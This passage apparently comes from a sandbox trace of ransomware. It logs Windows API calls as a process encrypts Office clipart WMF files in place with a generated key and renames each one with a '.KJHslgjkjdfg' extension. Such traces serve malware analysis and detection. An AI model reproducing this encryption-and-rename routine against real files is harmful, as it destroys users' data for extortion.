[0203.365] GetProcessHeap () returned 0x2ef0000 [0203.365] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.365] GetProcessHeap () returned 0x2ef0000 [0203.365] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.kjhslgjkjdfg")) returned 1 [0203.367] CloseHandle (hObject=0x130) returned 1 [0203.367] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1 [0203.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.368] GetProcessHeap () returned 0x2ef0000 [0203.368] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.368] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.368] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.368] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.371] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.371] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.371] GetProcessHeap () returned 0x2ef0000 [0203.371] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.371] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.371] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.371] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.371] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.371] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.371] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.371] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.371] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.371] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.371] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaac, lpOverlapped=0x0) returned 1 [0203.371] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xab0, dwBufLen=0xab0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xab0) returned 1 [0203.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.371] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xab0, lpOverlapped=0x0) returned 1 [0203.372] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.372] SetEndOfFile (hFile=0x130) returned 1 [0203.374] GetProcessHeap () returned 0x2ef0000 [0203.374] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.374] GetProcessHeap () returned 0x2ef0000 [0203.374] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.kjhslgjkjdfg")) returned 1 [0203.375] CloseHandle (hObject=0x130) returned 1 [0203.375] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1 [0203.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.380] GetProcessHeap () returned 0x2ef0000 [0203.380] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.380] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.381] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.382] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.382] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.382] GetProcessHeap () returned 0x2ef0000 [0203.382] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.382] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.383] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.383] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.383] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.383] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.383] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.383] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.383] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.383] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.383] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2394, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2394, lpOverlapped=0x0) returned 1 [0203.388] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23a0, dwBufLen=0x23a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23a0) returned 1 [0203.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.388] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x23a0, lpOverlapped=0x0) returned 1 [0203.388] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.389] SetEndOfFile (hFile=0x130) returned 1 [0203.390] GetProcessHeap () returned 0x2ef0000 [0203.391] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.391] GetProcessHeap () returned 0x2ef0000 [0203.391] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.kjhslgjkjdfg")) returned 1 [0203.392] CloseHandle (hObject=0x130) returned 1 [0203.392] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1 [0203.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.393] GetProcessHeap () returned 0x2ef0000 [0203.393] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.393] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.393] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.396] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.396] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.396] GetProcessHeap () returned 0x2ef0000 [0203.396] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.396] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.396] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.396] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.396] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.396] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.396] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.397] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.397] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.397] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.397] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a44, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a44, lpOverlapped=0x0) returned 1 [0203.398] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a50) returned 1 [0203.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.398] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a50, lpOverlapped=0x0) returned 1 [0203.398] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.398] SetEndOfFile (hFile=0x130) returned 1 [0203.400] GetProcessHeap () returned 0x2ef0000 [0203.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.400] GetProcessHeap () returned 0x2ef0000 [0203.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.kjhslgjkjdfg")) returned 1 [0203.401] CloseHandle (hObject=0x130) returned 1 [0203.402] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1 [0203.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.403] GetProcessHeap () returned 0x2ef0000 [0203.403] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.403] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.403] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.405] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.405] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.405] GetProcessHeap () returned 0x2ef0000 [0203.405] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.405] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.405] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.405] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.406] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.406] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.406] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.406] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.406] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.406] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.406] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1258, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1258, lpOverlapped=0x0) returned 1 [0203.407] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1260, dwBufLen=0x1260 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1260) returned 1 [0203.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.407] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1260, lpOverlapped=0x0) returned 1 [0203.407] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.408] SetEndOfFile (hFile=0x130) returned 1 [0203.410] GetProcessHeap () returned 0x2ef0000 [0203.410] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.410] GetProcessHeap () returned 0x2ef0000 [0203.410] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.kjhslgjkjdfg")) returned 1 [0203.412] CloseHandle (hObject=0x130) returned 1 [0203.412] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, 